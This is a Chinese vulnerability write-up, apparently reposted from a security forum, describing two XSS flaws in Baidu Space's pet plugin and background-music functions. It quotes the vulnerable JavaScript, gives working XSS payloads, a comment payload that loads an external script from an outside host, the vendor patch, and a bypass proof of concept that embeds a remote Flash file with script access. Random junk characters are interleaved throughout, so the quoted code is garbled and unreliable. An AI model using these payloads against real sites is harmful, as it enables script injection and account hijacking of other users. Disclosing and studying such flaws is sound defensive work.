百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 0 U. Z; x2 y; @2 r3 G6 Y
9 W) l: k, u& m! S8 R$ z
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. : h/ \9 h2 |3 a6 _* I- b: x+ n
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
/ C1 _; |! y. L3 H1 o l5 \$ B7 h5 t1 G7 |
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
0 d/ A# R) C. ]其中BdUtil.insertWBR为
- }2 h1 A+ ^; K2 a. t8 Ofunction(text, step) {
, B9 T5 S2 b G9 J2 `# ~ var textarea = textAreaCache || getContainer(); / u# A( ]1 f0 M1 ^( m: S+ k
if (!textarea) { . V: j1 j; X. V
return text;
7 M* o2 `/ @# G9 m. ~ }
( x9 B" P# \: V t. ~9 `7 f textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 2 _- q2 x* d* Z
var string = textarea.value; " R9 j% o! d3 ]2 q8 L+ B# f
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
1 C# `. Z& \6 n6 p% D3 M( }% L var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
. z" Z) b5 O; g( C3 ]* o6 L return result;
3 @. L6 v4 g$ L" r/ Y, f/ ]. Y} # y+ Y! g# x1 @+ T( M4 L$ Q
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
( _1 G4 n& [8 e2 o测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
! j/ a, R( X! F5 A % h' O/ w+ ~ v" E/ \+ P& a; s
二:creatbgmusic() Dom-Xss Bug ' ^* K5 y, w' j4 |
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 ' ?9 g H, V* z' s" k
: v8 _' X2 ]6 H
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
2 [1 Y+ d9 q' `: D; ]7 e5 O$ u- I a2 D: r5 a4 A( q2 l
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { 9 p' ?4 k# i' t% G/ H( F1 Z. q3 m
//传入的murl赋值到bgmusic1和bgmusic2中
w& q* y# ]( b) h //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
' o- F" L! {& A) R var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; , k' p% u& h7 g$ v" }1 y
if (musicnum <= 1) { s% F0 E! t7 N( x: o7 E! T i
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; " |0 x% i: K/ z) ]. T& d6 F
} $ P: z# B) s& @! c/ J
bgmusic1 += "</OBJECT>"; . o% g: G! Z! m' O# E) W
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; + Q2 r0 ^' ~4 S' w* q* T6 P
if (musicnum <= 1) {
! @3 Y) H( y% K! e: G7 _3 f bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; 0 B$ ]0 g0 I* E C- H/ q, d
}
/ C8 ^" O( G. Q, t# Y bgmusic2 += "> </EMBED>"; 5 P1 n* ?6 F n3 X- B0 C) K
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; ) v4 t3 p0 E% @% E9 ~8 G
var bgmus = detectWMP(); ( F+ W3 {& Q J( o, e, x" O
if (functype == "FckMusicHelper") { ( W* `' T( j3 y: _5 o* }
if (bgmus.installed) {
7 ?4 ~4 {# F1 n/ a8 b if (bgmus.type == "IE") { : G9 R, L1 _, ^9 l' d& V. q
return bgmusic1;
$ g+ R& \6 v9 N, f } else if (bgmus.type == "NS") { & F$ x' F1 h7 [
return bgmusic2;
0 v$ s7 I0 R0 A9 }4 k+ x8 j } 8 Z i" Q4 K) {% }) F
} else { " S. ^% b8 o h- X4 }4 e' k
return bgmusic3;
1 M M9 r1 b- B } h2 Q+ I8 [; D* \: T/ K; h2 t
} else { % M9 j. p: q: S! t. ?2 h
if (bgmus.installed) { " Y4 d3 w1 K1 }& }, C R4 \9 r' j3 d
//document.write 直接输出bgmusic变量 导致xss
# Z; X% N7 r( u5 \/ x+ u if (bgmus.type == "IE") {
2 ^- c2 h! P+ f2 u2 w, S document.write(bgmusic1); ! C/ R# U: a4 O9 T) }
} else if (bgmus.type == "NS") { 7 n% R, d9 t- g; d
document.write(bgmusic2);
+ j5 r% U1 @; k& Z! d# T& b' L } : ?8 s0 X0 a1 l1 M1 w
} else { 9 {' Q( r3 a: g- W- I6 w
document.write(bgmusic3);
& o+ ?# @; f4 o) y* }( X! N7 O }
( W9 b/ x# q: g% {/ e* j2 z return ""; 9 |/ {9 F o6 b" O$ I9 Y' d: ` l3 D
}
' M: M! P! K" P1 ?. V( m} ' ~! p& O8 B! c T; H" N
$ S/ Q8 W' j8 T! q& |( q& e
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 5 e; c' r1 p2 @: o( i
+ V [: U0 c/ Cfunction initBlogTextForFCK(){ 4 s ?5 K+ f" A
//fck init music
: r/ U9 P4 n1 H6 }9 xif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 8 X. [; r# o4 j; z
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 2 G3 Y! N0 P/ v; S4 L# l* ]
var isAutoPlay=true; e- y: S7 c A* u/ w
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
" e+ d5 {0 G. ?; x var img=imgBox; ! B& v. [" k. R% q, [( X1 g9 l
if(img.getAttribute(’rel’)){ " `8 i; M/ @! Q6 G
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
6 n& A* J V% ]6 V ~- k% @ var musicDiv = document.createElement("SPAN"); & d$ R/ H$ P4 O, ^
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
5 k) B( f1 N" Z! B2 b% _
, C/ c' \: D4 [, ? ..........................
" j z* q" |/ ?1 @$ ?+ J
8 J4 w% V' x" t% Z, a9 y- R //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
: c& g+ ^! p! l2 x' B/ h {# V var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
' q5 E& R! u. F a: m5 G shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
& t) u! {- ]/ c1 P musicDiv.innerHTML=shtml;
. b: z/ u, G: y& X1 H* I i--;n--;
/ k- N% V( M* \6 B3 R7 @" E/ u } ' `5 M# D |0 o/ m
} ' [4 {3 s! Q% o
& _1 a, h7 O6 r" f4 Q从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. 4 W$ m8 Z1 O* Q0 _* R" s
( t0 M! e/ o: C5 B7 V# G" a测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> % d3 F E. V! B3 r# F
" X0 H1 k, W+ b# x0 ^! @( `& ?5 H
等待官方补丁
% x7 d6 y4 X+ j( d* p% u6 z2 i& Y! _
update 2010年5月13日
, u7 i+ X( A+ ^- P9 U: _/ r# y) x3 u9 T+ Y# l
官方补丁: ) M9 K& g& R H" T; `3 r n
% _: s) W% l4 W' A: e! dvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
5 I5 Y4 K9 e' w, {/ u8 ?改为:
7 d: ]9 g8 j6 e, v' m' Fvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
; K4 O' c. a8 |; \7 t D" ?2 l$ U
p; X4 S3 H& b2 q- I/ n2 mupdate 2010年5月13日 21:50:37
7 b; s- ?& y- f% [* d' f7 k+ x3 O, W- Y( u
补丁存在漏洞 没有过滤" 可以继续跨: 8 J' g, |; S- O) q- I1 b4 I
8 ]* x* D+ @3 aNEW POC: $ M6 B% q0 F, p q* u% M
! i4 L7 v8 Q6 d
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
9 y1 Y0 m t, |3 X' r. i9 I; \+ S) G9 l" \' v5 R
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>, t, s7 F- T" E
( f: {8 T/ |$ a3 L3 p* Y2 j* ^5 d
|